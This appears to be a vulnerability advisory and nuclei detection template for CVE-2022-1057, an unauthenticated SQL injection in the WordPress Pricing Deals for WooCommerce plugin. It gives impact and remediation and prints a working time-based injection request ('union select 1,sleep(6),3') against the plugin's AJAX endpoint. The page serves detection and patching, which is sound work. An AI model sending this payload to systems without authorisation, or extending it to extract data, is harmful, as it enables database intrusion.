WordPress Pricing Deals for WooCommerce <=2.0.2.02 - SQL Injection

criticalseverity

9.8CVSS score

8%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

WordPress Pricing Deals for WooCommerce plugin through 2.0.2.02 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.

Fix

Update to the latest version of the Pricing Deals for WooCommerce plugin (2.0.2.03 or higher) to fix the SQL Injection vulnerability.

How to confirm it

Send: @timeout: 15s
Positive when: duration>=6 and status_code == 500 and contains(body, "been a critical error")

Run it with nuclei: nuclei -id CVE-2022-1057 -u <target>

The full check

id: CVE-2022-1057

info:
  name: WordPress Pricing Deals for WooCommerce <=2.0.2.02 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Pricing Deals for WooCommerce plugin through 2.0.2.02 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
  remediation: |
    Update to the latest version of the Pricing Deals for WooCommerce plugin (2.0.2.03 or higher) to fix the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7c33ffc3-84d1-4a0f-a837-794cdc3ad243
    - https://wordpress.org/plugins/pricing-deals-for-woocommerce/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1057
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1057
    cwe-id: CWE-89
    epss-score: 0.08013
    epss-percentile: 0.94815
    cpe: cpe:2.3:a:varktech:pricing_deals_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: varktech
    product: pricing_deals_for_woocommerce
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,pricing-deals-for-woocommerce,unauth,varktech,vuln,vkev

http:
  - raw:
      - |
        @timeout: 15s
        GET /wp-admin/admin-ajax.php?action=vtprd_product_search_ajax&term=aaa%27+union+select+1,sleep(6),3--+- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 500'
          - 'contains(body, "been a critical error")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from